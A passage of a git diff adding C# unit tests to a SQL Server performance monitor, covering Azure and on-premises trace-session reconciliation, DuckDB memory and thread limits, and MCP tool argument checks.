+        var rig = await BuildRigAsync("beta", readOnlyIntent: true);
+        rig.Replica = new LongQueryTraceReplicaState(DefinitionExists: true, Running: false);
+        rig.Refusal = step => step == LongQueryTraceStep.Start
+            ? SqlExceptionFactory.Create(262, errorClass: 14, message: "ALTER EVENT SESSION permission denied.")
+            : null;
+        AppLogger.DrainBufferedLines();
+
+        await rig.ReconcileAsync();
+
+        Assert.NotNull(rig.Service.LongQueryTraceFaultState(rig.Server.Id));
+        Assert.NotEmpty(rig.LoudLines());
+    }
+
+    /* Only a start right after this cycle's create is left for the next cycle. The same refusal after a definition the replica
+       already showed says something else is wrong, so it is a fault. */
+    [Fact]
+    public async Task Azure_ANotVisibleStartRefusal_WhenTheDefinitionWasAlreadyVisible_IsAFailureLikeAnyOther()
+    {
+        var rig = await BuildRigAsync("beta", readOnlyIntent: true);
+        rig.Replica = new LongQueryTraceReplicaState(DefinitionExists: true, Running: false);
+        rig.Refusal = step => step == LongQueryTraceStep.Start
+            ? SqlExceptionFactory.Create(
+                LongQueryTraceDatabases.EventSessionNotVisibleErrorNumber, errorClass: 16,
+                message: "Cannot alter the event session, because it does not exist or you do not have permission.")
+            : null;
+        AppLogger.DrainBufferedLines();
+
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { LongQueryTraceStep.Check, LongQueryTraceStep.Start }, rig.Steps.Select(s => s.Step));
+        Assert.NotNull(rig.Service.LongQueryTraceFaultState(rig.Server.Id));
+        Assert.NotEmpty(rig.LoudLines());
+    }
+
+    /* Right after a create, only the replica's "not visible yet" answer waits for the next cycle. Out of space (1105) and a
+       read-only database (3906) are failures. */
+    [Theory]
+    [InlineData(1105)]
+    [InlineData(3906)]
+    public async Task Azure_AStartThatFailsRightAfterTheDefinitionWasCreated_WithAnyOtherError_IsAFailureLikeAnyOther(int number)
+    {
+        var rig = await BuildRigAsync("beta", readOnlyIntent: true);
+        rig.Refusal = step => step == LongQueryTraceStep.Start
+            ? SqlExceptionFactory.Create(number, errorClass: 16, message: "The start was refused.")
+            : null;
+        AppLogger.DrainBufferedLines();
+
+        await rig.ReconcileAsync();
+
+        Assert.Equal(
+            new[] { LongQueryTraceStep.Check, LongQueryTraceStep.CreateDefinition, LongQueryTraceStep.Start },
+            rig.Steps.Select(s => s.Step));
+        Assert.NotNull(rig.Service.LongQueryTraceFaultState(rig.Server.Id));
+        Assert.NotEmpty(rig.LoudLines());
+    }
+
+    /* ── Azure SQL Database: a drop stops the session over the replica, then drops the definition over the primary ── */
+
+    [Fact]
+    public async Task Azure_TurningTheTraceOff_ForAReadOnlyIntentRegistration_StopsOverItsOwnConnection_ThenDropsOverAReadWriteOne()
+    {
+        var rig = await BuildRigAsync("beta", readOnlyIntent: true, traceOn: false);
+
+        await rig.ReconcileAsync();
+
+        var drops = rig.OwnDrops();
+        Assert.Equal(new[] { LongQueryTraceStep.Stop, LongQueryTraceStep.Drop }, drops.Select(d => d.Step));
+        Assert.Equal(new[] { ApplicationIntent.ReadOnly, ApplicationIntent.ReadWrite }, drops.Select(d => IntentOf(d.ConnectionString)));
+        Assert.All(drops, d => Assert.Equal("beta", DatabaseOf(d.ConnectionString)));
+        Assert.All(drops, d => Assert.Equal("beta", d.Database));
+        Assert.Empty(rig.Steps);
+    }
+
+    [Fact]
+    public async Task Azure_TurningTheTraceOff_ForARegistrationWithoutReadOnlyIntent_DropsOnceOverItsOwnConnection()
+    {
+        var rig = await BuildRigAsync("beta", readOnlyIntent: false, traceOn: false);
+
+        await rig.ReconcileAsync();
+
+        var drop = Assert.Single(rig.OwnDrops());
+        Assert.Equal(LongQueryTraceStep.Drop, drop.Step);
+        Assert.Equal(ApplicationIntent.ReadWrite, IntentOf(drop.ConnectionString));
+        Assert.Equal("beta", DatabaseOf(drop.ConnectionString));
+    }
+
+    [Fact]
+    public async Task Azure_ARemovedServer_ForAReadOnlyIntentRegistration_StopsOverItsOwnConnection_ThenDropsOverAReadWriteOne()
+    {
+        var rig = await BuildRigAsync("beta", readOnlyIntent: true);
+
+        await rig.Service.DropLongQueryTraceOfRemovedServerAsync(rig.Server, CancellationToken.None);
+
+        var drops = rig.OwnDrops();
+        Assert.Equal(new[] { LongQueryTraceStep.Stop, LongQueryTraceStep.Drop }, drops.Select(d => d.Step));
+        Assert.Equal(new[] { ApplicationIntent.ReadOnly, ApplicationIntent.ReadWrite }, drops.Select(d => IntentOf(d.ConnectionString)));
+        Assert.All(drops, d => Assert.Equal("beta", DatabaseOf(d.ConnectionString)));
+    }
+
+    [Fact]
+    public async Task Azure_TheOneTimeDropOfTheLegacySession_ForAReadOnlyIntentRegistration_FollowsTheSameOrder()
+    {
+        var rig = await BuildRigAsync("beta", readOnlyIntent: true);
+
+        await rig.ReconcileAsync();
+
+        var drops = rig.LegacyDrops();
+        Assert.Equal(new[] { LongQueryTraceStep.Stop, LongQueryTraceStep.Drop }, drops.Select(d => d.Step));
+        Assert.Equal(new[] { ApplicationIntent.ReadOnly, ApplicationIntent.ReadWrite }, drops.Select(d => IntentOf(d.ConnectionString)));
+        Assert.All(drops, d => Assert.Equal("beta", DatabaseOf(d.ConnectionString)));
+    }
+
+    [Fact]
+    public async Task Azure_TheOneTimeDropOfTheLegacySession_ForARegistrationWithoutReadOnlyIntent_IsOneDropOverItsOwnConnection()
+    {
+        var rig = await BuildRigAsync("beta", readOnlyIntent: false);
+
+        await rig.ReconcileAsync();
+
+        var drop = Assert.Single(rig.LegacyDrops());
+        Assert.Equal(LongQueryTraceStep.Drop, drop.Step);
+        Assert.Equal(ApplicationIntent.ReadWrite, IntentOf(drop.ConnectionString));
+    }
+
+    /* ── Every other engine ── */
+
+    [Fact]
+    public async Task OnPrem_AReadOnlyIntentRegistration_CreatesAndStartsItsSessionOverItsOwnConnection()
+    {
+        var rig = await BuildRigAsync("app", readOnlyIntent: true, engineEdition: 3);
+
+        await rig.ReconcileAsync();
+
+        var step = Assert.Single(rig.Steps);
+        Assert.Equal(LongQueryTraceStep.CreateAndStart, step.Step);
+        Assert.Equal(string.Empty, step.Database);
+        Assert.Equal(ApplicationIntent.ReadOnly, IntentOf(step.ConnectionString));
+        Assert.Equal("app", DatabaseOf(step.ConnectionString));
+    }
+
+    [Fact]
+    public async Task OnPrem_TurningTheTraceOff_DropsOnceOverTheRegistrationsOwnConnection()
+    {
+        var rig = await BuildRigAsync("app", readOnlyIntent: true, engineEdition: 3, traceOn: false);
+
+        await rig.ReconcileAsync();
+
+        var own = Assert.Single(rig.OwnDrops());
+        Assert.Equal(LongQueryTraceStep.Drop, own.Step);
+        Assert.Equal(string.Empty, own.Database);
+        Assert.Equal(ApplicationIntent.ReadOnly, IntentOf(own.ConnectionString));
+        Assert.Equal("app", DatabaseOf(own.ConnectionString));
+
+        var legacy = Assert.Single(rig.LegacyDrops());
+        Assert.Equal(LongQueryTraceStep.Drop, legacy.Step);
+        Assert.Equal(own.ConnectionString, legacy.ConnectionString);
+    }
+
+    /* ── A registration that lands on a read-only database without the intent ── */
+
+    [Fact]
+    public async Task Azure_AReadOnlyDatabaseWithoutTheIntent_LogsOneClearMessage_KeepsTheFault_AndDoesNotRetryInALoop()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildRigAsync("beta", readOnlyIntent: false);
+            rig.Refusal = step => step is LongQueryTraceStep.Stop or LongQueryTraceStep.Drop ? null : ReadOnlyDatabaseRefusal();
+
+            await rig.ReconcileAsync();
+
+            /* One line at Warning or above, whatever it says: the read-only message, which says why and what to change. */
+            var loud = Assert.Single(rig.LoudLines());
+            Assert.EndsWith(rig.ReadOnlyLineEnd("beta"), loud, StringComparison.Ordinal);
+            Assert.Contains("read-only", loud, StringComparison.Ordinal);
+            Assert.Contains("3906", loud, StringComparison.Ordinal);
+            Assert.Contains("Register the primary database instead", loud, StringComparison.Ordinal);
+            Assert.Contains("turn the long-query trace off", loud, StringComparison.Ordinal);
+
+            /* The run still records the fault. */
+            Assert.NotNull(rig.Service.LongQueryTraceFaultState(rig.Server.Id));
+            Assert.Single(rig.Steps);
+
+            /* Within the hour: no attempt, no line, and the fault stays. */
+            rig.Clock += LongQueryTraceDatabases.RetryInterval - TimeSpan.FromMinutes(1);
+            await rig.ReconcileAsync();
+            await rig.ReconcileAsync();
+            Assert.Single(rig.Steps);
+            Assert.Empty(rig.LoudLines());
+            Assert.NotNull(rig.Service.LongQueryTraceFaultState(rig.Server.Id));
+
+            /* An hour after the first attempt: one more, and it logs at Debug, so the one message stays the only one. */
+            rig.Clock += TimeSpan.FromMinutes(1);
+            await rig.ReconcileAsync();
+            Assert.Equal(2, rig.Steps.Count);
+            Assert.Empty(rig.LoudLines());
+            Assert.NotNull(rig.Service.LongQueryTraceFaultState(rig.Server.Id));
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    [Fact]
+    public async Task Azure_ARefusalThatIsNotReadOnly_StillRetriesOnEveryCycle()
+    {
+        var rig = await BuildRigAsync("beta", readOnlyIntent: false);
+        /* Not a permission denial: 262 is one now (#5378), and a denial is no longer retried on every cycle. */
+        rig.Refusal = _ => SqlExceptionFactory.Create(1105, errorClass: 17, message: "Could not allocate space for the event session.");
+
+        await rig.ReconcileAsync();
+        await rig.ReconcileAsync();
+        await rig.ReconcileAsync();
+
+        Assert.Equal(3, rig.Steps.Count);
+    }
+
+    /* ── A failed create or start on Azure SQL Database carries the caps sentence (#4961, plan test 27) ── */
+
+    private static bool Speaks(string line, string text) => line.Contains(text, StringComparison.Ordinal);
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task Azure_AFailedCreateOrStart_CarriesTheCapsSentence_InTheLoggedLineAndTheRecordedFault(bool start)
+    {
+        /* A registration without the intent creates and starts in one step. One with it creates the definition, then starts. */
+        var rig = await BuildRigAsync("beta", readOnlyIntent: start);
+        var refused = start ? LongQueryTraceStep.Start : LongQueryTraceStep.CreateAndStart;
+        rig.Refusal = step => step == refused ? SqlExceptionFactory.Create(1105, errorClass: 17, message: "The statement was refused.") : null;
+
+        await rig.ReconcileAsync();
+
+        Assert.Contains(rig.Lines(), line => Speaks(line, "The statement was refused.") && Speaks(line, AlwaysOnXeSessions.AzureCapsSentence));
+        var fault = rig.Service.LongQueryTraceFaultState(rig.Server.Id);
+        Assert.NotNull(fault);
+        Assert.Contains(AlwaysOnXeSessions.AzureCapsSentence, fault!.Message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task OnPrem_AFailedCreate_CarriesNoCapsSentence()
+    {
+        var rig = await BuildRigAsync("app", readOnlyIntent: false, engineEdition: 3);
+        rig.Refusal = _ => SqlExceptionFactory.Create(1105, errorClass: 17, message: "The statement was refused.");
+
+        await rig.ReconcileAsync();
+
+        var lines = rig.Lines();
+        Assert.Contains(lines, line => Speaks(line, "The statement was refused."));
+        Assert.DoesNotContain(lines, line => Speaks(line, AlwaysOnXeSessions.AzureCapsSentence));
+        var fault = rig.Service.LongQueryTraceFaultState(rig.Server.Id);
+        Assert.NotNull(fault);
+        Assert.DoesNotContain(AlwaysOnXeSessions.AzureCapsSentence, fault!.Message, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(25631)]
+    [InlineData(25705)]
+    public async Task Azure_AnAlreadyThereAnswer_CarriesNoCapsSentence(int number)
+    {
+        var rig = await BuildRigAsync("beta", readOnlyIntent: false);
+        rig.Refusal = _ => SqlExceptionFactory.Create(number, errorClass: 16, message: "The session is already there.");
+
+        await rig.ReconcileAsync();
+
+        Assert.DoesNotContain(rig.Lines(), line => Speaks(line, AlwaysOnXeSessions.AzureCapsSentence));
+        var fault = rig.Service.LongQueryTraceFaultState(rig.Server.Id);
+        Assert.NotNull(fault);
+        Assert.DoesNotContain(AlwaysOnXeSessions.AzureCapsSentence, fault!.Message, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task Azure_AReadOnlyDatabasesRefusalOfACreateOrStart_CarriesNoCapsSentence(bool start)
+    {
+        var rig = await BuildRigAsync("beta", readOnlyIntent: start);
+        var refused = start ? LongQueryTraceStep.Start : LongQueryTraceStep.CreateAndStart;
+        rig.Refusal = step => step == refused ? ReadOnlyDatabaseRefusal() : null;
+
+        await rig.ReconcileAsync();
+
+        Assert.DoesNotContain(rig.Lines(), line => Speaks(line, AlwaysOnXeSessions.AzureCapsSentence));
+        var fault = rig.Service.LongQueryTraceFaultState(rig.Server.Id);
+        Assert.NotNull(fault);
+        Assert.DoesNotContain(AlwaysOnXeSessions.AzureCapsSentence, fault!.Message, StringComparison.Ordinal);
+    }
+
+    private static SqlException ReadOnlyDatabaseRefusal() =>
+        SqlExceptionFactory.Create(
+            LongQueryTraceDatabases.ReadOnlyDatabaseErrorNumber, errorClass: 16, message: "Failed to update database because the database is read-only.");
+}
diff --git a/Lite.Tests/MainConnectionLimitsTests.cs b/Lite.Tests/MainConnectionLimitsTests.cs
new file mode 100644
index 0000000000..316b4d9900
--- /dev/null
+++ b/Lite.Tests/MainConnectionLimitsTests.cs
@@ -0,0 +1,173 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Darling.Tests;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5381 (owner ruling 2026-10-06): Lite's main DuckDB connection runs at <c>memory_limit</c> 2 GB and at most
+/// 8 threads. Measured: at 1 GB with every core (32 threads) five wide reads fail with out-of-memory; at 2 GB
+/// and 8 threads every measured read passes, worst peak 1,100 MB. These pins hold the connection string, the
+/// two places that put the limit back (the trim cycle and the COPY raise), and the source against a 1 GB
+/// literal creeping back in.
+/// </summary>
+/* Same collection as DuckDbSentinelConnectionTests: the trim test lowers the process-wide TrimThresholdBytes. */
+[Collection("CollectionResetGate")]
+public class MainConnectionLimitsTests : IDisposable
+{
+    private readonly string _tempDir;
+    private readonly string _dbPath;
+
+    public MainConnectionLimitsTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _dbPath = Path.Combine(_tempDir, "test.duckdb");
+    }
+
+    public void Dispose()
+    {
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch { /* best-effort temp cleanup */ }
+    }
+
+    /// <summary>How DuckDB itself reports a given memory_limit text, so the pins never guess its formatting.</summary>
+    private static async Task<string> ReportedMemoryLimitAsync(string setting)
+    {
+        using var connection = new DuckDBConnection("DataSource=:memory:");
+        await connection.OpenAsync();
+        using (var set = connection.CreateCommand())
+        {
+            set.CommandText = $"SET memory_limit = '{setting}'";
+            await set.ExecuteNonQueryAsync();
+        }
+        return await CurrentLimitAsync(connection);
+    }
+
+    private static async Task<string> CurrentLimitAsync(DuckDBConnection connection)
+    {
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = "SELECT current_setting('memory_limit')";
+        return Convert.ToString(await cmd.ExecuteScalarAsync()) ?? "";
+    }
+
+    [Fact]
+    public async Task MainConnection_OpenedLikeLite_IsTwoGigabytesAndAtMostEightThreads()
+    {
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeAsync();
+
+        using var connection = initializer.CreateConnection();
+        await connection.OpenAsync();
+
+        Assert.Equal(await ReportedMemoryLimitAsync("2GB"), await CurrentLimitAsync(connection));
+
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = "SELECT current_setting('threads')";
+        var threads = Convert.ToInt64(await cmd.ExecuteScalarAsync());
+        Assert.Equal(Math.Max(1, Math.Min(8, Environment.ProcessorCount)), threads);
+        Assert.InRange(threads, 1, 8);
+    }
+
+    [Fact]
+    public async Task MemoryLimit_AfterTrimCycle_IsBackToTwoGigabytes()
+    {
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeAsync();
+
+        var originalThreshold = DuckDbInitializer.TrimThresholdBytes;
+        DuckDbInitializer.TrimThresholdBytes = 1;
+        try
+        {
+            initializer.RunMemoryTrimCycle();
+
+            using var connection = initializer.CreateConnection();
+            await connection.OpenAsync();
+            Assert.Equal(await ReportedMemoryLimitAsync("2GB"), await CurrentLimitAsync(connection));
+        }
+        finally
+        {
+            DuckDbInitializer.TrimThresholdBytes = originalThreshold;
+        }
+    }
+
+    [Fact]
+    public async Task MemoryLimit_AfterRaisedLimitCopy_IsBackToTwoGigabytes()
+    {
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeAsync();
+
+        using var connection = initializer.CreateConnection();
+        await connection.OpenAsync();
+
+        string during = "";
+        await ArchiveService.WithRaisedCopyMemoryLimit(connection, async () =>
+        {
+            during = await CurrentLimitAsync(connection);
+        });
+
+        Assert.Equal(await ReportedMemoryLimitAsync("4GB"), during);
+        Assert.Equal(await ReportedMemoryLimitAsync("2GB"), await CurrentLimitAsync(connection));
+    }
+
+    /// <summary>
+    /// No 1 GB literal for the main connection's limit anywhere in Lite's code. The separate DuckDB instances
+    /// (compaction's in-memory 4 GB merge connection, the importer's plain connection) carry no 1 GB limit
+    /// either, so nothing needs an allow-list. <c>checkpoint_threshold=1GB</c> is a different setting.
+    /// </summary>
+    [Fact]
+    public void LiteSource_HasNoOneGigabyteMemoryLimitLiteral()
+    {
+        var litePath = Path.Combine(RepoRoot(), "Lite");
+        /* Matched against the string-literal bodies the walker reads, not against lines filtered by a comment
+           prefix, so a comment that mentions 1 GB (a block comment's unprefixed continuation line included)
+           is never read as a literal. A body carries no delimiter quotes, so the whole-literal forms
+           ("1GB", "1024 MB") are anchored to the line instead of spelling the quotes. */
+        var bad = new Regex(@"memory_limit\s*=\s*'?\s*1\s*GB|^\s*1\s?GB\s*$|'1\s?GB'|^\s*1024\s?MB\s*$", RegexOptions.IgnoreCase);
+        var sep = Path.DirectorySeparatorChar;
+        var hits = new List<string>();
+        foreach (var f in Directory.EnumerateFiles(litePath, "*.cs", SearchOption.AllDirectories)
+            .Where(f => !f.Contains($"{sep}obj{sep}") && !f.Contains($"{sep}bin{sep}")))
+        {
+            var text = File.ReadAllText(f);
+            foreach (var (start, body) in CSharpSourceWalker.StringLiteralBodies(text))
+            {
+                var firstLine = text.AsSpan(0, start).Count('\n') + 1;
+                var lines = body.Split('\n');
+                for (var i = 0; i < lines.Length; i++)
+                {
+                    if (bad.IsMatch(lines[i]))
+                    {
+                        hits.Add($"{Path.GetRelativePath(RepoRoot(), f)}:{firstLine + i}");
+                    }
+                }
+            }
+        }
+
+        Assert.True(hits.Count == 0, "Main connection memory_limit must come from DuckDbInitializer.MainConnectionMemoryLimit (2GB), not a 1GB literal: " + string.Join(", ", hits));
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+        => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, ".."));
+}
diff --git a/Lite.Tests/MainWindowAccessKeyTests.cs b/Lite.Tests/MainWindowAccessKeyTests.cs
index 792c06ae2b..b35075ece1 100644
--- a/Lite.Tests/MainWindowAccessKeyTests.cs
+++ b/Lite.Tests/MainWindowAccessKeyTests.cs
@@ -44,6 +44,7 @@ namespace Lite.Tests;
 /// leaning on "these two tabs are mutually exclusive" would make the letters correct only for as long as
 /// nobody moves a control, and D is free.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class MainWindowAccessKeyTests
 {
     /// <summary>
@@ -176,7 +177,7 @@ audit green by looking at nothing. Both apps host at least the per-server tab pl
     [Fact]
     public void TabControl_RealizesOnlyTheSelectedTabsContent()
     {
-        var counts = OnStaThread(() =>
+        var counts = StaTestThread.Run(() =>
         {
             static UserControl TabBody()
             {
@@ -281,26 +282,4 @@ private static IEnumerable<DependencyObject> Descendants(DependencyObject root)
         }
     }
 
-    /// <summary>WPF objects require STA; same shape as Dashboard.Tests' DataGridExport tests.</summary>
-    private static T OnStaThread<T>(Func<T> body)
-    {
-        T result = default!;
-        Exception? error = null;
-        var thread = new Thread(() =>
-        {
-            try { result = body(); }
-            catch (Exception ex) { error = ex; }
-        });
-        thread.SetApartmentState(ApartmentState.STA);
-        thread.Start();
-        thread.Join();
-
-        if (error is not null)
-        {
-            throw error;
-        }
-
-        return result;
-    }
-
 }
diff --git a/Lite.Tests/McpAlertSettingsKeyTests.cs b/Lite.Tests/McpAlertSettingsKeyTests.cs
index 7674ed9f34..bc8650bf77 100644
--- a/Lite.Tests/McpAlertSettingsKeyTests.cs
+++ b/Lite.Tests/McpAlertSettingsKeyTests.cs
@@ -48,6 +48,7 @@ namespace Lite.Tests;
 /// artifact that stays green on the day a twentieth arrives.</para>
 /// </summary>
 [Collection("app-alert-statics")]
+[Trait("Reads", "Darling")]
 public sealed class McpAlertSettingsKeyTests
 {
     private static JsonElement Settings()
diff --git a/Lite.Tests/McpAnalysisFindingsCommandTests.cs b/Lite.Tests/McpAnalysisFindingsCommandTests.cs
index 8d3fe75447..be6de2beb4 100644
--- a/Lite.Tests/McpAnalysisFindingsCommandTests.cs
+++ b/Lite.Tests/McpAnalysisFindingsCommandTests.cs
@@ -13,6 +13,7 @@
 using System.Text;
 using System.Text.Json;
 using System.Threading.Tasks;
+using DuckDB.NET.Data;
 using PerformanceMonitor.Analysis;
 using PerformanceMonitor.Common;
 using PerformanceMonitorLite.Analysis;
@@ -430,6 +431,56 @@ public async Task GetAnalysisFindings_Default_StaysUnderResponseBudget_WithThirt
         }
     }
 
+    /// <summary>#5558: rows for one group where this node's copy is SECONDARY (or PRIMARY), written for the tool's server.</summary>
+    private async Task SeedAgAsync(DateTime at, string localRole)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        async Task Exec(string sql, params object[] values)
+        {
+            using var cmd = connection.CreateCommand();
+            cmd.CommandText = sql;
+            foreach (var v in values) cmd.Parameters.Add(new DuckDBParameter { Value = v });
+            await cmd.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+        }
+
+        await Exec("INSERT INTO ag_replica_states (collection_id, collection_time, server_id, server_name, ag_name, replica_server_name, role_desc, is_local) VALUES ($1,$2,$3,'n',$4,$5,$6,$7)",
+            -55_810_001L, at, _serverId, "AG1", "NODE1", localRole, true);
+        await Exec("INSERT INTO ag_database_replica_states (collection_id, collection_time, server_id, server_name, ag_name, database_name, replica_server_name, is_local) VALUES ($1,$2,$3,'n',$4,$5,$6,$7)",
+            -55_810_002L, at, _serverId, "AG1", "SecDb", "NODE1", true);
+    }
+
+    /// <summary>
+    /// #5558: get_analysis_findings carries the one-sentence secondary-copy note beside a non-empty list and inside the
+    /// empty answer, so a short list is not read as a clean bill of health; a primary (or no AG rows) carries none.
+    /// </summary>
+    [Fact]
+    public async Task GetAnalysisFindings_CarriesTheSecondaryReplicaNote_OnlyWhenThisNodeHoldsASecondaryCopy()
+    {
+        var now = DateTime.UtcNow;
+        var analysisService = new AnalysisService(_duckDb);
+
+        /* Nothing stored, no AG rows: the plain empty answer, no note. */
+        var plainEmpty = JsonDocument.Parse(await McpAnalysisTools.GetAnalysisFindings(analysisService, _serverManager, "TestServer", 24));
+        Assert.Equal("empty", plainEmpty.RootElement.GetProperty("status").GetString());
+        Assert.DoesNotContain("secondary copy", plainEmpty.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+        /* A secondary copy, still no findings: the empty answer names the skipped database. */
+        await SeedAgAsync(now.AddMinutes(-1), "SECONDARY");
+        var emptyWithNote = JsonDocument.Parse(await McpAnalysisTools.GetAnalysisFindings(analysisService, _serverManager, "TestServer", 24));
+        Assert.Contains(AgReplicaScope.SkippedNote(1)!, emptyWithNote.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+        /* With a finding stored the field rides on the payload. */
+        var context = new AnalysisContext { ServerId = _serverId, ServerName = "TestServer", TimeRangeStart = now.AddHours(-4), TimeRangeEnd = now };
+        await new FindingStore(_duckDb).InsertFindingsAsync(new List<AnalysisFinding>
+        {
+            MakeFinding(920001, now, 1.0, "SOS_SCHEDULER_YIELD", "ag_note_hash", remediation: null),
+        }, context);
+        var withNote = JsonDocument.Parse(await McpAnalysisTools.GetAnalysisFindings(analysisService, _serverManager, "TestServer", 24));
+        Assert.Equal(AgReplicaScope.SkippedNote(1), withNote.RootElement.GetProperty("secondary_replica_note").GetString());
+    }
+
     private AnalysisFinding MakeFinding(
         long findingId, DateTime analysisTime, double severity,
         string rootFactKey, string storyPathHash, RemediationAction? remediation) =>
diff --git a/Lite.Tests/McpArgumentTypeTests.cs b/Lite.Tests/McpArgumentTypeTests.cs
new file mode 100644
index 0000000000..b168c2fcec
--- /dev/null
+++ b/Lite.Tests/McpArgumentTypeTests.cs
@@ -0,0 +1,99 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Linq;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// Lite's half of the per-type argument pins: the shared call-tool guard checks each argument against the CLR type
+/// of its parameter, so a value the SDK's binder cannot read (an int past int range, null for a parameter that is not
+/// nullable, a number for a string, a string for a boolean, an integer array with a fraction in it) is refused by a
+/// message that names the argument. The table is <see cref="McpArgumentTypeRows"/>, the one Darling runs; the tools
+/// it resolves are Lite's own, and a CLR type none of them declares uses the test-only probe tool.
+/// </summary>
+public sealed class McpArgumentTypeTests : IClassFixture<McpArgumentTypeTests.Hosts>
+{
+    /// <summary>The two in-process servers every row shares: one with the guard in, one with it left out.</summary>
+    public sealed class Hosts : IAsyncLifetime
+    {
+        internal McpInProcessHost Guarded { get; private set; } = null!;
+
+        internal McpInProcessHost Unguarded { get; private set; } = null!;
+
+        public async ValueTask InitializeAsync()
+        {
+            Guarded = await McpWholeNumberArgumentTests.StartHostAsync(true, typeof(McpArgumentTypeProbeTools));
+            Unguarded = await McpWholeNumberArgumentTests.StartHostAsync(false, typeof(McpArgumentTypeProbeTools));
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await Guarded.DisposeAsync();
+            await Unguarded.DisposeAsync();
+        }
+    }
+
+    private readonly Hosts _hosts;
+
+    public McpArgumentTypeTests(Hosts hosts) => _hosts = hosts;
+
+    public static TheoryData<string, string, bool, string> Rows() => McpArgumentTypeRows.All();
+
+    [Theory]
+    [MemberData(nameof(Rows))]
+    public async Task EachValue_IsRefusedByName_ExactlyWhenTheBinderCannotReadIt(
+        string type, string raw, bool refused, string says)
+    {
+        var toolTypes = McpWholeNumberArgumentTests.LiteToolTypes()
+            .Append(typeof(McpArgumentTypeProbeTools))
+            .ToList();
+
+        await McpArgumentTypeRows.CheckAsync(
+            _hosts.Guarded, _hosts.Unguarded, toolTypes, type, raw, refused, says, TestContext.Current.CancellationToken);
+    }
+
+    /// <summary>The host records a type for every parameter each tool advertises, and the types agree with the schema,
+    /// so the guard's typed check covers every shipped tool instead of quietly falling back to the schema alone.</summary>
+    [Fact]
+    public void EveryAdvertisedParameter_HasARecordedType_ThatAgreesWithTheSchema()
+    {
+        var problems = McpArgumentTypeRows.RecordedTypeProblems(_hosts.Guarded);
+
+        Assert.True(problems.Count == 0, $"{problems.Count} problems:\n" + string.Join("\n", problems.Take(40)));
+    }
+
+    /// <summary>The reverse of the check above: the record holds only what a caller may send, so every parameter it holds
+    /// is one the tool's schema advertises. A parameter the schema leaves out (a cancellation token the SDK supplies, a
+    /// service resolved from DI) is not recorded, whatever the tool method declares.</summary>
+    [Fact]
+    public void EveryRecordedParameter_IsOneTheSchemaAdvertises()
+    {
+        var problems = McpArgumentTypeRows.RecordedButNotAdvertisedProblems(_hosts.Guarded);
+
+        Assert.True(problems.Count == 0, $"{problems.Count} problems:\n" + string.Join("\n", problems.Take(40)));
+    }
+
+    /// <summary>The table is only worth having if it reaches every CLR type the shipped tools declare, so a tool added
+    /// with a type the table lacks fails here by name instead of passing through unchecked.</summary>
+    [Fact]
+    public void EveryClrTypeAShippedToolDeclares_IsOneTheTableCovers()
+    {
+        var covered = McpArgumentTypeRows.CoveredTypeKeys();
+        var declared = McpArgumentTypeRows.ShippedParameterTypeKeys(
+            _hosts.Guarded, McpWholeNumberArgumentTests.LiteToolTypes());
+
+        var missing = declared.Where(key => !covered.Contains(key)).ToList();
+        Assert.True(
+            missing.Count == 0,
+            "Shipped tools declare parameters of these types, which the table has no row for: " + string.Join(", ", missing));
+    }
+}
diff --git a/Lite.Tests/McpDatabaseNameFilterToolTests.cs b/Lite.Tests/McpDatabaseNameFilterToolTests.cs
new file mode 100644
index 0000000000..58c5c814f5
--- /dev/null
+++ b/Lite.Tests/McpDatabaseNameFilterToolTests.cs
@@ -0,0 +1,306 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Database;
